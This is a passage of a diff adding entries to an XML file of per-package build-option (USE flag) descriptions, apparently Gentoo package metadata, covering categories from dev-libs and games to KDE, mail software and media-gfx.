+<flag name="force-cgi-redirect"><![CDATA[Switch on common security setting for CGI SAPI]]></flag>
+<flag name="java-external"><![CDATA[Use the external java extension rather than the bundled one]]></flag>
+<flag name="java-internal"><![CDATA[Use the bundled java extension in PHP4]]></flag>
+<flag name="oci8-instant-client"><![CDATA[Use dev-db/oracle-instantclient-basic as Oracle provider instead of requiring a full Oracle server install]]></flag>
+<flag name="overload"><![CDATA[Enable the overload extension]]></flag>
+<flag name="pdo-external"><![CDATA[Use the external pecl-pdo extension rather than the bundled one]]></flag>
+<flag name="pear"><![CDATA[Enable PEAR support]]></flag>
+<flag name="zip"><![CDATA[Enable ZIP file support]]></flag>
+</package>
+<package name="python">
+<flag name="ucs2"><![CDATA[Enable byte size 2 unicode]]></flag>
+</package>
+<package name="smarteiffel">
+<flag name="tcc"><![CDATA[use tcc instead of gcc for build (g++ is still used for c++ code)]]></flag>
+</package>
+<package name="swig">
+<flag name="pike"><![CDATA[Enable Pike scripting support]]></flag>
+</package>
+</category>
+<category name="dev-libs">
+<package name="DirectFB">
+<flag name="fusion"><![CDATA[add Multi Application support (fusion kernel device)]]></flag>
+<flag name="sysfs"><![CDATA[Add support for the sysfs filesystem (requires Linux-2.6+)]]></flag>
+</package>
+<package name="apr">
+<flag name="urandom"><![CDATA[Use /dev/urandom instead of /dev/random]]></flag>
+</package>
+<package name="boehm-gc">
+<flag name="c++"><![CDATA[Adds support for C++]]></flag>
+</package>
+<package name="boost">
+<flag name="bcp"><![CDATA[Install the bcp tool http://www.boost.org/tools/bcp/bcp.html]]></flag>
+<flag name="bjam"><![CDATA[Install the BoostJam tool http://www.boost.org/tools/build/jam_src/index.html]]></flag>
+<flag name="pyste"><![CDATA[Add support for the pyste frontend]]></flag>
+<flag name="threadsonly"><![CDATA[Only build multithreaded libs]]></flag>
+</package>
+<package name="cyrus-sasl">
+<flag name="authdaemond"><![CDATA[Enable Courier-IMAP authdaemond's unix socket support.]]></flag>
+<flag name="ntlm_unsupported_patch"><![CDATA[Adds NTLM samba NOT supported patch]]></flag>
+<flag name="pam-mysql"><![CDATA[Switch to deprecated pam_mysql authentication method]]></flag>
+<flag name="sample"><![CDATA[Build sample client and server]]></flag>
+<flag name="srp"><![CDATA[Enables SRP in cyrus-sasl]]></flag>
+<flag name="urandom"><![CDATA[Use /dev/urandom instead of /dev/random]]></flag>
+</package>
+<package name="libcdio">
+<flag name="cddb"><![CDATA[use libcddb for CD database lookups]]></flag>
+</package>
+<package name="libmix">
+<flag name="no-net2"><![CDATA[disable libpcap and libnet support]]></flag>
+</package>
+<package name="libsqlora8">
+<flag name="orathreads"><![CDATA[specifies use of Oracle threads]]></flag>
+</package>
+<package name="libtomcrypt">
+<flag name="libtommath"><![CDATA[Use the portable math library]]></flag>
+<flag name="tomsfastmath"><![CDATA[Use the optimized math library]]></flag>
+</package>
+<package name="log4cxx">
+<flag name="smtp"><![CDATA[offer SMTP support via libsmtp]]></flag>
+</package>
+<package name="opensc">
+<flag name="pcsc-lite"><![CDATA[build with pcsc-lite instead of openct]]></flag>
+</package>
+<package name="pwlib">
+<flag name="v4l2"><![CDATA[Enable video4linux2 support]]></flag>
+</package>
+<package name="qsa">
+<flag name="ide"><![CDATA[enable the qsa ide]]></flag>
+</package>
+<package name="wx-xmingw">
+<flag name="gdb"><![CDATA[Enable gdb debugging]]></flag>
+<flag name="monolithic"><![CDATA[Build a monolithic lib]]></flag>
+<flag name="mslu"><![CDATA[Enable mslu support]]></flag>
+<flag name="shared"><![CDATA[Enable shared libs]]></flag>
+</package>
+</category>
+<category name="dev-lisp">
+<package name="abcl-cvs">
+<flag name="jpty"><![CDATA[Enable PTY support]]></flag>
+<flag name="libabcl"><![CDATA[Enable ^C handler (from JNI)]]></flag>
+</package>
+<package name="cl-sql">
+<flag name="sqlite3"><![CDATA[build support for sqlite3]]></flag>
+</package>
+<package name="cl-tbnl">
+<flag name="standalone"><![CDATA[use TBNL without a front-end (ie. no Apache dependency)]]></flag>
+</package>
+<package name="cl-ucw">
+<flag name="araneida"><![CDATA[use the Araneida web-server backend]]></flag>
+<flag name="aserve"><![CDATA[use the Portable Allegro Serve web-server backend]]></flag>
+<flag name="mod_lisp"><![CDATA[use the mod_lisp web-server backend]]></flag>
+</package>
+<package name="cmucl">
+<flag name="nosource"><![CDATA[don't include source code for CMUCL in installation]]></flag>
+</package>
+<package name="gcl-cvs">
+<flag name="custreloc"><![CDATA[build a GCL which uses custom GCL code for linking]]></flag>
+<flag name="dlopen"><![CDATA[build a GCL which uses dlopen for linking]]></flag>
+<flag name="gprof"><![CDATA[build a GCL with profiling support]]></flag>
+</package>
+<package name="gcl">
+<flag name="ansi"><![CDATA[build a GCL with ANSI support (else build a traditional CLtL1 image)]]></flag>
+<flag name="custreloc"><![CDATA[build a GCL which uses custom GCL code for linking]]></flag>
+<flag name="dlopen"><![CDATA[build a GCL which uses dlopen for linking]]></flag>
+<flag name="gprof"><![CDATA[build a GCL with profiling support]]></flag>
+</package>
+<package name="sbcl">
+<flag name="ldb"><![CDATA[include support for the SBCL low level debugger]]></flag>
+<flag name="nosource"><![CDATA[don't include source code for SBCL in the installation]]></flag>
+</package>
+</category>
+<category name="dev-ml">
+<package name="lablgtk">
+<flag name="glade"><![CDATA[Enable libglade bindings compilation.]]></flag>
+<flag name="gnomecanvas"><![CDATA[Enable libgnomecanvas bindings compilation.]]></flag>
+</package>
+<package name="ocamlsdl">
+<flag name="noimage"><![CDATA[Disable sdl-image support]]></flag>
+<flag name="nomixer"><![CDATA[Disable sdl-mixer support]]></flag>
+</package>
+</category>
+<category name="dev-perl">
+<package name="Eidetic">
+<flag name="auth"><![CDATA[Enables Apache-AuthTicket based cookie authentication]]></flag>
+</package>
+<package name="HTML-Mason">
+<flag name="modperl"><![CDATA[Enable modperl support]]></flag>
+</package>
+<package name="gtk-perl">
+<flag name="applet"><![CDATA[Enable gnome applet support]]></flag>
+<flag name="gnome-print"><![CDATA[Enable gnome-print support]]></flag>
+</package>
+</category>
+<category name="dev-php">
+<package name="eaccelerator">
+<flag name="inode"><![CDATA[Enable inode-based caching.]]></flag>
+</package>
+<package name="mod_php">
+<flag name="mkconfig"><![CDATA[Package up files required for php-config package (for maintainer use only)]]></flag>
+</package>
+<package name="php-cgi">
+<flag name="force-cgi-redirect"><![CDATA[Enable security check for internal server redirects.]]></flag>
+<flag name="mkconfig"><![CDATA[Package up files required for php-config package (for maintainer use only)]]></flag>
+</package>
+<package name="php">
+<flag name="mkconfig"><![CDATA[Package up files required for php-config package (for maintainer use only)]]></flag>
+</package>
+</category>
+<category name="dev-php4">
+<package name="eaccelerator">
+<flag name="inode"><![CDATA[Enable inode-based caching.]]></flag>
+</package>
+<package name="pecl-imagick">
+<flag name="graphicsmagick"><![CDATA[Use graphicsmagick instead of imagemagick]]></flag>
+</package>
+</category>
+<category name="dev-php5">
+<package name="pecl-imagick">
+<flag name="graphicsmagick"><![CDATA[Use graphicsmagick instead of imagemagick]]></flag>
+</package>
+</category>
+<category name="dev-python">
+<package name="cgkit">
+<flag name="3ds"><![CDATA[enable support for importing 3D Studio models]]></flag>
+<flag name="ogre"><![CDATA[enable support for Ogre rendering]]></flag>
+</package>
+<package name="docutils">
+<flag name="glep"><![CDATA[Install support for GLEPs]]></flag>
+</package>
+<package name="epydoc">
+<flag name="pdf"><![CDATA[enable support for exporting to pdf]]></flag>
+</package>
+<package name="gnome-python-extras">
+<flag name="firefox"><![CDATA[allow building against firefox libs]]></flag>
+</package>
+<package name="ipython">
+<flag name="gnuplot"><![CDATA[enable gnuplot support]]></flag>
+</package>
+<package name="ldaptor">
+<flag name="web"><![CDATA[enable the web front end for ldaptor (uses dev-python/nevow)]]></flag>
+</package>
+<package name="pycairo">
+<flag name="numeric"><![CDATA[enable Numeric support]]></flag>
+</package>
+<package name="pykde">
+<flag name="kjs"><![CDATA[include the kjs module (don't enable, if unsure)]]></flag>
+</package>
+<package name="soya">
+<flag name="ode"><![CDATA[include support for Open Dynamics Engine]]></flag>
+</package>
+<package name="visual">
+<flag name="numarray"><![CDATA[enable support for numarray]]></flag>
+<flag name="numeric"><![CDATA[enable support for numeric]]></flag>
+</package>
+</category>
+<category name="dev-ruby">
+<package name="ruby-gtkmozembed">
+<flag name="firefox"><![CDATA[compile against Firefox instead of Mozilla]]></flag>
+</package>
+<package name="nitro">
+<flag name="xslt"><![CDATA[enable xslt support]]></flag>
+</package>
+<package name="ruby-sdl">
+<flag name="image"><![CDATA[enable sdl-image support]]></flag>
+<flag name="mixer"><![CDATA[enable sdl-mixer support]]></flag>
+</package>
+</category>
+<category name="dev-scheme">
+<package name="bigloo-lib">
+<flag name="ipcs"><![CDATA[enable ipcs support]]></flag>
+</package>
+<package name="gauche-gtk">
+<flag name="glgd"><![CDATA[enable GL graph draw]]></flag>
+</package>
+</category>
+<category name="dev-tex">
+<package name="preview-latex">
+<flag name="xemacs"><![CDATA[Adds support for XEmacs]]></flag>
+</package>
+</category>
+<category name="dev-util">
+<package name="catalyst">
+<flag name="ccache"><![CDATA[Enables ccache support]]></flag>
+</package>
+<package name="cogito">
+<flag name="mozsha1"><![CDATA[Make use of a bundled routine commit with Mozilla that should be fast on non-x86 archs ]]></flag>
+<flag name="ppcsha1"><![CDATA[Make use of a bundled routine that is optimized for the PPC arc]]></flag>
+</package>
+<package name="devhelp">
+<flag name="firefox"><![CDATA[Build against firefox rather than mozilla]]></flag>
+</package>
+<package name="eclipse-sdk">
+<flag name="atk"><![CDATA[Enable atk (accessibility) support]]></flag>
+<flag name="firefox"><![CDATA[Pick embedded browser from Mozilla Firefox]]></flag>
+<flag name="nodoc"><![CDATA[Don't include documentation]]></flag>
+<flag name="nosrc"><![CDATA[Don't include source code]]></flag>
+</package>
+<package name="eric">
+<flag name="idl"><![CDATA[Enable omniorb support]]></flag>
+</package>
+<package name="git">
+<flag name="gitsendemail"><![CDATA[Installs a script that sends patches to email address's]]></flag>
+<flag name="mozsha1"><![CDATA[Make use of a bundled routine commit with Mozilla that should be fast on non-x86 archs]]></flag>
+<flag name="ppcsha1"><![CDATA[Make use of a bundled routine that is optimized for the PPC arc]]></flag>
+</package>
+<package name="glade">
+<flag name="gnomedb"><![CDATA[Enable gnomedb widgets for Glade.]]></flag>
+</package>
+<package name="global">
+<flag name="vim"><![CDATA[vim funny stuff for global]]></flag>
+</package>
+<package name="kdevelop">
+<flag name="ada"><![CDATA[Enable support for the ada programming language]]></flag>
+<flag name="clearcase"><![CDATA[Enable support for the clearcase version control system]]></flag>
+<flag name="haskell"><![CDATA[Enable support for the haskell programming language]]></flag>
+<flag name="pascal"><![CDATA[Enable support for the pascal programming language]]></flag>
+<flag name="perforce"><![CDATA[Enable support for the perforce version control system]]></flag>
+<flag name="sql"><![CDATA[Enable support for the sql language]]></flag>
+<flag name="subversion"><![CDATA[Enable support for the subversion version control system]]></flag>
+</package>
+<package name="monodevelop">
+<flag name="boo"><![CDATA[Enable support for the boo programming language]]></flag>
+</package>
+<package name="pbuilder">
+<flag name="uml"><![CDATA[Enable pbuilder user mode linux support]]></flag>
+</package>
+<package name="pida">
+<flag name="gvim"><![CDATA[Enable gvim as embedded editor]]></flag>
+</package>
+<package name="strace">
+<flag name="aio"><![CDATA[Enable libaio support]]></flag>
+</package>
+<package name="subversion">
+<flag name="nowebdav"><![CDATA[Disables WebDAV support via neon library]]></flag>
+</package>
+</category>
+<category name="games-action">
+<package name="xshipwars">
+<flag name="yiff"><![CDATA[Add support for the YIFF sound server]]></flag>
+</package>
+</category>
+<category name="games-arcade">
+<package name="tuxracer">
+<flag name="stencil-buffer"><![CDATA[Enables use of stencil-buffer]]></flag>
+</package>
+</category>
+<category name="games-board">
+<package name="crafty">
+<flag name="no-opts"><![CDATA[Don't try to enable crazy CFLAG options]]></flag>
+</package>
+</category>
+<category name="games-emulation">
+<package name="mupen64-glN64">
+<flag name="asm"><![CDATA[Enable use of asm routines to improve performance]]></flag>
+</package>
+<package name="mupen64">
+<flag name="asm"><![CDATA[Enable use of asm routines to improve performance]]></flag>
+</package>
+<package name="xmame">
+<flag name="net"><![CDATA[Add network support]]></flag>
+</package>
+<package name="xmess">
+<flag name="net"><![CDATA[Add network support]]></flag>
+</package>
+</category>
+<category name="games-engines">
+<package name="exult">
+<flag name="timidity"><![CDATA[Add sound support (timidity)]]></flag>
+</package>
+</category>
+<category name="games-fps">
+<package name="duke3d">
+<flag name="nophysfs"><![CDATA[Disables support for physfs]]></flag>
+</package>
+<package name="quake2-icculus">
+<flag name="noqmax"><![CDATA[Do not build the pretty version (quake max)]]></flag>
+<flag name="rogue"><![CDATA[Build support for the 'Ground Zero' Mission Pack (rogue)]]></flag>
+<flag name="xatrix"><![CDATA[Build support for the 'The Reckoning' Mission Pack (xatrix)]]></flag>
+</package>
+<package name="unreal-tournament-goty">
+<flag name="S3TC"><![CDATA[Add the extra fancy textures to UT ... only works on certain cards (nvidia/ati/s3]]></flag>
+</package>
+<package name="ut2004">
+<flag name="experimental"><![CDATA[Enables support for icculus' experimental patch]]></flag>
+</package>
+</category>
+<category name="games-kids">
+<package name="gcompris">
+<flag name="editor"><![CDATA[Build the optional editor program.]]></flag>
+</package>
+</category>
+<category name="games-mud">
+<package name="mmucl">
+<flag name="mccp"><![CDATA[adds support for the Mud Client Compression Protocol]]></flag>
+</package>
+</category>
+<category name="games-rpg">
+<package name="eternal-lands">
+<flag name="mapeditor"><![CDATA[Install the mapeditor as well as the game]]></flag>
+<flag name="nomusic"><![CDATA[Disable install of music files]]></flag>
+</package>
+<package name="nwn-data">
+<flag name="hou"><![CDATA[Install the Hordes of the Underdark expansion pack]]></flag>
+<flag name="nowin"><![CDATA[For those people who cant grab the 1.2 gigs of data files from a windows partition]]></flag>
+<flag name="sou"><![CDATA[Installs the Shadows of Undrentide expension pack]]></flag>
+</package>
+<package name="nwn">
+<flag name="hou"><![CDATA[Install the Hordes of the Underdark expansion pack]]></flag>
+<flag name="nowin"><![CDATA[For those people who cant grab the 1.2 gigs of data files from a windows partition]]></flag>
+<flag name="sou"><![CDATA[Installs the Shadows of Undrentide expension pack]]></flag>
+</package>
+</category>
+<category name="games-simulation">
+<package name="openttd">
+<flag name="timidity"><![CDATA[Add sound support (timidity)]]></flag>
+</package>
+</category>
+<category name="games-strategy">
+<package name="freecraft-fcmp">
+<flag name="music"><![CDATA[Installs optional music data]]></flag>
+</package>
+<package name="freelords">
+<flag name="editor"><![CDATA[Installs optional map editor]]></flag>
+</package>
+<package name="heroes3">
+<flag name="maps"><![CDATA[Installs optional map data]]></flag>
+<flag name="music"><![CDATA[Installs optional music data]]></flag>
+<flag name="sounds"><![CDATA[Installs optional sound data]]></flag>
+</package>
+<package name="uqm">
+<flag name="music"><![CDATA[download and install music files (large)]]></flag>
+<flag name="remix"><![CDATA[download and install music remix files (large)]]></flag>
+<flag name="voice"><![CDATA[download and install voice files (large)]]></flag>
+</package>
+<package name="wesnoth">
+<flag name="editor"><![CDATA[Enable compilation editor]]></flag>
+<flag name="lite"><![CDATA[Lite install]]></flag>
+<flag name="server"><![CDATA[Enable compilation of server]]></flag>
+<flag name="tools"><![CDATA[Enable compilation of translation tools]]></flag>
+</package>
+</category>
+<category name="gnome-extra">
+<package name="evolution-data-server">
+<flag name="firefox"><![CDATA[Use Firefox's NSS/NSPR libraries if SSL is enabled]]></flag>
+<flag name="nntp"><![CDATA[Add suppoort fot nntp]]></flag>
+</package>
+<package name="gnome-games">
+<flag name="artworkextra"><![CDATA[Add extra Artwork to gnome-games]]></flag>
+</package>
+<package name="libgda">
+<flag name="mdb"><![CDATA[Enable Microsoft Access DB support for GnomeDB.]]></flag>
+<flag name="xbase"><![CDATA[Enable support for xbase databases (dBase, FoxPro, etc)]]></flag>
+</package>
+<package name="sensors-applet">
+<flag name="hddtemp"><![CDATA[Enable support the hddtemp daemon]]></flag>
+</package>
+<package name="yelp">
+<flag name="firefox"><![CDATA[Build against firefox instead of mozilla]]></flag>
+</package>
+</category>
+<category name="gnustep-apps">
+<package name="gnumail">
+<flag name="emoticon"><![CDATA[Enable extra Emoticon Bundle to see smiley's in e-mail messages.]]></flag>
+</package>
+<package name="gworkspace">
+<flag name="pdfkit"><![CDATA[Enable support for PDFKit Bundle]]></flag>
+</package>
+</category>
+<category name="gnustep-base">
+<package name="gnustep-back-art">
+<flag name="xim"><![CDATA[Enable X11 XiM input method]]></flag>
+</package>
+<package name="gnustep-back-xlib">
+<flag name="xim"><![CDATA[Enable X11 XiM input method]]></flag>
+</package>
+<package name="gnustep-base">
+<flag name="ffcall"><![CDATA[enable use of ffcall package in gnustep-base, rather than libffi]]></flag>
+<flag name="gcc-libffi"><![CDATA[Offers a migration path away from the ill fated dev-libs/libffi; gcc-3.* will generally have to be compiled with 'gcj' on, >=gcc-3.4.3-r1 can be used with only 'objc' turned on (this will reduce compile time).]]></flag>
+</package>
+<package name="gnustep-gui">
+<flag name="gsnd"><![CDATA[Enable GNUstep sound server]]></flag>
+</package>
+<package name="gnustep-make">
+<flag name="layout-from-conf-file"><![CDATA[Layout GNUstep according to /etc/conf.d/gnustep.env; GNUSTEP_SYSTEM_ROOT, GNUSTEP_LOCAL_ROOT, GNUSTEP_NETWORK_ROOT, and GNUSTEP_USER_ROOT (use '~' or '~/whatever' -- SURROUNDED BY SINGLE QUOTES -- for the user root); the only required entry is GNUSTEP_SYSTEM_ROOT; GNUSTEP_SYSTEM_ROOT must end with "System".]]></flag>
+<flag name="layout-osx-like"><![CDATA[Layout GNUstep FHS like OSX's (violates Linux FHS, but arguably more NeXT-like); User, Local, Network, and System are set to (in order): "~", "/", "/Network", "/System"]]></flag>
+<flag name="non-flattened"><![CDATA[do not flatten launch and library paths for GNUstep packages allowing executable within a .app to be launched based on processor type]]></flag>
+</package>
+</category>
+<category name="kde-base">
+<package name="arts">
+<flag name="artswrappersuid"><![CDATA[Set artswrapper suid for realtime playing, which is a security hazard]]></flag>
+</package>
+<package name="juk">
+<flag name="musicbrainz"><![CDATA[Enable support for MusicBrainz audio lookups (musicbrainz.org)]]></flag>
+</package>
+<package name="kaddressbook">
+<flag name="gnokii"><![CDATA[Enable address synchronization with mobile phones with gnokii]]></flag>
+</package>
+<package name="kbugbuster">
+<flag name="kcal"><![CDATA[Add support for kcal (calendar) format]]></flag>
+</package>
+<package name="kcontrol">
+<flag name="logitech-mouse"><![CDATA[Enable Control Center module for configuring logitech mice]]></flag>
+</package>
+<package name="kdeartwork-kscreensaver">
+<flag name="xscreensaver"><![CDATA[Enable detection of xscreensavers]]></flag>
+</package>
+<package name="kdeartwork">
+<flag name="xscreensaver"><![CDATA[Enable detection of xscreensavers]]></flag>
+</package>
+<package name="kdebase-kioslaves">
+<flag name="openexr"><![CDATA[Enable support for OpenEXR graphic file format (www.openexr.com)]]></flag>
+</package>
+<package name="kdebase">
+<flag name="logitech-mouse"><![CDATA[Enable Control Center module for configuring logitech mice]]></flag>
+<flag name="openexr"><![CDATA[Enable support for OpenEXR graphic file format (www.openexr.com)]]></flag>
+<flag name="zeroconf"><![CDATA[Enable support for DNS Service Discovery (DNS-SD)]]></flag>
+</package>
+<package name="kdeedu">
+<flag name="kig-scripting"><![CDATA[Enable support for python scripting in kig]]></flag>
+</package>
+<package name="kdegraphics-kfile-plugins">
+<flag name="openexr"><![CDATA[Enable support for OpenEXR graphic file format (www.openexr.com)]]></flag>
+</package>
+<package name="kdegraphics-meta">
+<flag name="povray"><![CDATA[Enable povray dependency - needed for kpovmodeler]]></flag>
+</package>
+<package name="kdegraphics">
+<flag name="jpeg2k"><![CDATA[Enable support for jpeg2k (jasper)]]></flag>
+<flag name="nodrm"><![CDATA[Disable DRM support in kpdf]]></flag>
+<flag name="openexr"><![CDATA[Enable support for OpenEXR graphic file format (www.openexr.com)]]></flag>
+<flag name="povray"><![CDATA[Enable povray dependency - needed for kpovmodeler]]></flag>
+</package>
+<package name="kdelibs">
+<flag name="jpeg2k"><![CDATA[Enable support for jpeg2k (jasper)]]></flag>
+<flag name="openexr"><![CDATA[Enable support for OpenEXR graphic file format (www.openexr.com)]]></flag>
+<flag name="zeroconf"><![CDATA[Enable support for DNS Service Discovery (DNS-SD)]]></flag>
+</package>
+<package name="kdemultimedia">
+<flag name="musicbrainz"><![CDATA[Enable support for MusicBrainz audio lookups (musicbrainz.org)]]></flag>
+</package>
+<package name="kdenetwork">
+<flag name="rdesktop"><![CDATA[Enable remote desktop functionality]]></flag>
+<flag name="sametime"><![CDATA[Enable support for the Sametime protocol for instant messaging]]></flag>
+</package>
+<package name="kdepim">
+<flag name="gnokii"><![CDATA[Enable address synchronization with mobile phones with gnokii]]></flag>
+</package>
+<package name="kdesdk-meta">
+<flag name="subversion"><![CDATA[Enable support for the subversion ioslave]]></flag>
+</package>
+<package name="kdesdk">
+<flag name="subversion"><![CDATA[Enable support for the subversion ioslave]]></flag>
+</package>
+<package name="kdeutils">
+<flag name="pbbuttonsd"><![CDATA[Enable support for the Apple PMU daemon pbbuttonsd]]></flag>
+</package>
+<package name="kig">
+<flag name="kig-scripting"><![CDATA[Enable support for python scripting]]></flag>
+</package>
+<package name="kmilo">
+<flag name="pbbuttonsd"><![CDATA[Enable support for the Apple PMU daemon pbbuttonsd]]></flag>
+</package>
+<package name="kooka">
+<flag name="kadmos"><![CDATA[Enable support for the kadmos OCR engine]]></flag>
+</package>
+<package name="kopete">
+<flag name="sametime"><![CDATA[Enable support for the Sametime protocol for instant messaging]]></flag>
+</package>
+<package name="kpdf">
+<flag name="nodrm"><![CDATA[Disable DRM support in kpdf]]></flag>
+</package>
+<package name="krdc">
+<flag name="rdesktop"><![CDATA[Enable remote desktop functionality]]></flag>
+</package>
+<package name="ksysguard">
+<flag name="zeroconf"><![CDATA[Enable support for DNS Service Discovery (DNS-SD)]]></flag>
+</package>
+</category>
+<category name="mail-client">
+<package name="evolution">
+<flag name="firefox"><![CDATA[Use Firefox's NSS/NSPR libraries if SSL is enabled]]></flag>
+<flag name="nntp"><![CDATA[Enable evolution nntp (news) functionality]]></flag>
+</package>
+<package name="mail-notification">
+<flag name="gmail"><![CDATA[Enable Gmail mailbox checking]]></flag>
+<flag name="gmailtimestamps"><![CDATA[Enable support for Gmail timestamps]]></flag>
+</package>
+<package name="mozilla-thunderbird">
+<flag name="mozcalendar"><![CDATA[Enable build in calendar (also firefox, thunderbird)]]></flag>
+<flag name="mozsvg"><![CDATA[Enable SVG support in mozilla, firefox, and thunderbird]]></flag>
+<flag name="moznoxft"><![CDATA[Disable XFT support in mozilla (also firefox, thunderbird)]]></flag>
+</package>
+<package name="mutt">
+<flag name="buffysize"><![CDATA[Enables buffysize workaround, see bug 72422]]></flag>
+<flag name="gpgme"><![CDATA[Enable support for gpgme]]></flag>
+<flag name="nntp"><![CDATA[Adds support for nntp via patch]]></flag>
+<flag name="pop"><![CDATA[Enable support for pop]]></flag>
+<flag name="smime"><![CDATA[Enable support for smime]]></flag>
+</package>
+<package name="muttng">
+<flag name="buffysize"><![CDATA[Enables buffysize workaround, see bug 72422]]></flag>
+<flag name="gpgme"><![CDATA[Enable support for gpgme]]></flag>
+<flag name="nntp"><![CDATA[Enable support for nntp]]></flag>
+<flag name="pop"><![CDATA[Enable support for pop]]></flag>
+<flag name="smime"><![CDATA[Enable support for smime]]></flag>
+<flag name="smtp"><![CDATA[Enable support for smtp]]></flag>
+</package>
+<package name="nail">
+<flag name="net"><![CDATA[Enable network support (thus enabling POP, IMAP and SMTP)]]></flag>
+</package>
+<package name="pine">
+<flag name="largeterminal"><![CDATA[Add support for large terminals by doubling the size of pine's internal display buffer]]></flag>
+<flag name="passfile"><![CDATA[Adds support for caching IMAP passwords into a file between sessions]]></flag>
+</package>
+<package name="squirrelmail">
+<flag name="virus-scan"><![CDATA[Install plugin to support virus scanning of email attachments]]></flag>
+</package>
+<package name="sylpheed-claws">
+<flag name="dillo"><![CDATA[Enables support for inline http email viewing with a plugin (which depends on the dillo browser)]]></flag>
+<flag name="spamassassin"><![CDATA[Build spamassassin plugin]]></flag>
+</package>
+</category>
+<category name="mail-filter">
+<package name="ask">
+<flag name="procmail"><![CDATA[Adds support for procmail]]></flag>
+</package>
+<package name="bogofilter">
+<flag name="gsl"><![CDATA[Use the GNU scientific library for calculations]]></flag>
+</package>
+<package name="bsfilter">
+<flag name="mecab"><![CDATA[Adds support for mecab]]></flag>
+</package>
+<package name="clamassassin">
+<flag name="clamd"><![CDATA[Use the ClamAV daemon for virus checking.]]></flag>
+<flag name="subject-rewrite"><![CDATA[Adds support for subject rewriting.]]></flag>
+</package>
+<package name="dspam">
+<flag name="clamav"><![CDATA[Build options for clamav]]></flag>
+<flag name="cyrus"><![CDATA[Build delivery options for cyrus-imapd]]></flag>
+<flag name="exim"><![CDATA[Build with delivery options for exim]]></flag>
+<flag name="large-domain"><![CDATA[Builds for large domain rather than for domain scale]]></flag>
+<flag name="logrotate"><![CDATA[Install support files for logrotate]]></flag>
+<flag name="maildrop"><![CDATA[Build with delivery options for maildrop]]></flag>
+<flag name="neural"><![CDATA[Build neural support for dspam]]></flag>
+<flag name="procmail"><![CDATA[Build procmail filter support]]></flag>
+<flag name="sqlite3"><![CDATA[Build sqlite 3 support]]></flag>
+<flag name="user-homedirs"><![CDATA[Build with user homedir support]]></flag>
+<flag name="virtual-users"><![CDATA[Build with virtual-users support]]></flag>
+</package>
+<package name="qmail-scanner">
+<flag name="spamassassin"><![CDATA[Build faster spamassassin checks into qmail-scanner]]></flag>
+</package>
+<package name="spamassassin">
+<flag name="dcc"><![CDATA[Enable Distributed Checksum Clearinghouse support]]></flag>
+<flag name="pyzor"><![CDATA[Enable pyzor support]]></flag>
+<flag name="qmail"><![CDATA[Build qmail functionality and docs]]></flag>
+<flag name="razor"><![CDATA[Enable Vipul's Razor support]]></flag>
+<flag name="spf"><![CDATA[Adds support for Sender Policy Framework]]></flag>
+<flag name="tools"><![CDATA[Enables tools for spamassassin]]></flag>
+</package>
+</category>
+<category name="mail-mta">
+<package name="courier">
+<flag name="fax"><![CDATA[Enables fax support in the courier mail server]]></flag>
+<flag name="norewrite"><![CDATA[Prevents courier mail server from mangling virtual user addresses when sending]]></flag>
+</package>
+<package name="exim">
+<flag name="dnsdb"><![CDATA[Adds support for a DNS search for a record whose domain name is the supplied query]]></flag>
+<flag name="exiscan"><![CDATA[Patch providing support for content scanning backward-compatibility]]></flag>
+<flag name="exiscan-acl"><![CDATA[Patch providing support for content scanning]]></flag>
+<flag name="lmtp"><![CDATA[Adds support for lmtp]]></flag>
+<flag name="spf"><![CDATA[Adds support for Sender Policy Framework]]></flag>
+<flag name="srs"><![CDATA[Adds support for Sender Rewriting Scheme]]></flag>
+<flag name="syslog"><![CDATA[defines syslog as the default log path if none is specified in the conf file.]]></flag>
+</package>
+<package name="postfix">
+<flag name="vda"><![CDATA[Adds support for virtual delivery agent quota enforcing]]></flag>
+</package>
+<package name="qmail">
+<flag name="gencertdaily"><![CDATA[Generate SSL certificates daily instead of hourly]]></flag>
+<flag name="logmail"><![CDATA[Enable logging all E-Mails via ~alias/.qmail-log]]></flag>
+<flag name="noauthcram"><![CDATA[If you do NOT want AUTHCRAM to be available]]></flag>
+<flag name="notlsbeforeauth"><![CDATA[If you do NOT want to require STARTTLS before offering AUTH]]></flag>
+</package>
+<package name="ssmtp">
+<flag name="md5sum"><![CDATA[Enables MD5 summing for ssmtp]]></flag>
+</package>
+</category>
+<category name="media-fonts">
+<package name="intlfonts">
+<flag name="bdf"><![CDATA[Installs BDF fonts in addition to PCF]]></flag>
+</package>
+</category>
+<category name="media-gfx">
+<package name="blender">
+<flag name="blender-game"><![CDATA[Adds game engine support to blender]]></flag>
+<flag name="fmod"><![CDATA[Adds mod support to blender]]></flag>
+</package>
+<package name="gimageview">
+<flag name="mplayer"><![CDATA[Enable mplayer support]]></flag>
+</package>
+<package name="gimp">
+<flag name="gimpprint"><![CDATA[Enable gimp-print printing support]]></flag>
+<flag name="smp"><![CDATA[Enable support for multiprocessors]]></flag>
+</package>
+<package name="gnuplot">
+<flag name="xemacs"><![CDATA[Add lisp files for emacs]]></flag>
+</package>
+<package name="graphicsmagick">
+<flag name="gs"><![CDATA[enable ghostscript support]]></flag>
+<flag name="jbig"><![CDATA[enable jbig support]]></flag>
+<flag name="jp2"><![CDATA[enable jpeg v2 support]]></flag>
+<flag name="lzw"><![CDATA[enable LZW support]]></flag>
+</package>
+<package name="graphviz">
+<flag name="cairo"><![CDATA[enable cairo support]]></flag>
+<flag name="dynagraph"><![CDATA[enable dynagraph support]]></flag>
+</package>
+<package name="gwenview">
+<flag name="kipi"><![CDATA[add support for kipi plugins]]></flag>
+</package>
+<package name="imagemagick">
+<flag name="fpx"><![CDATA[enable libfpx support]]></flag>
+<flag name="graphviz"><![CDATA[enable graphviz support]]></flag>
+<flag name="gs"><![CDATA[enable ghostscript support]]></flag>
+<flag name="jbig"><![CDATA[enables jbig-kit, support for fax and similar formats]]></flag>
+</package>
+<package name="inkscape">
+<flag name="effects"><![CDATA[enables additional scripts (effects)]]></flag>
+<flag name="inkjar"><![CDATA[enables inkjar support]]></flag>
+<flag name="plugin"><![CDATA[enables extra plugins]]></flag>
+</package>
+<package name="k3d">
+<flag name="ngui"><![CDATA[build NGUI user-interface plug-in]]></flag>
+<flag name="openexr"><![CDATA[build OpenEXR plug-ins]]></flag>
+<flag name="plib"><![CDATA[build plib-based import/export library]]></flag>
+</package>
+<package name="labplot">
+<flag name="cdf"><![CDATA[Adds cdf data exchange format support]]></flag>
+</package>
+<package name="maya">
+<flag name="bundled-libs"><![CDATA[Use the bundled versions of libs rather than system ones (libstdc++, libgcc_s, libqt, and libXm)]]></flag>
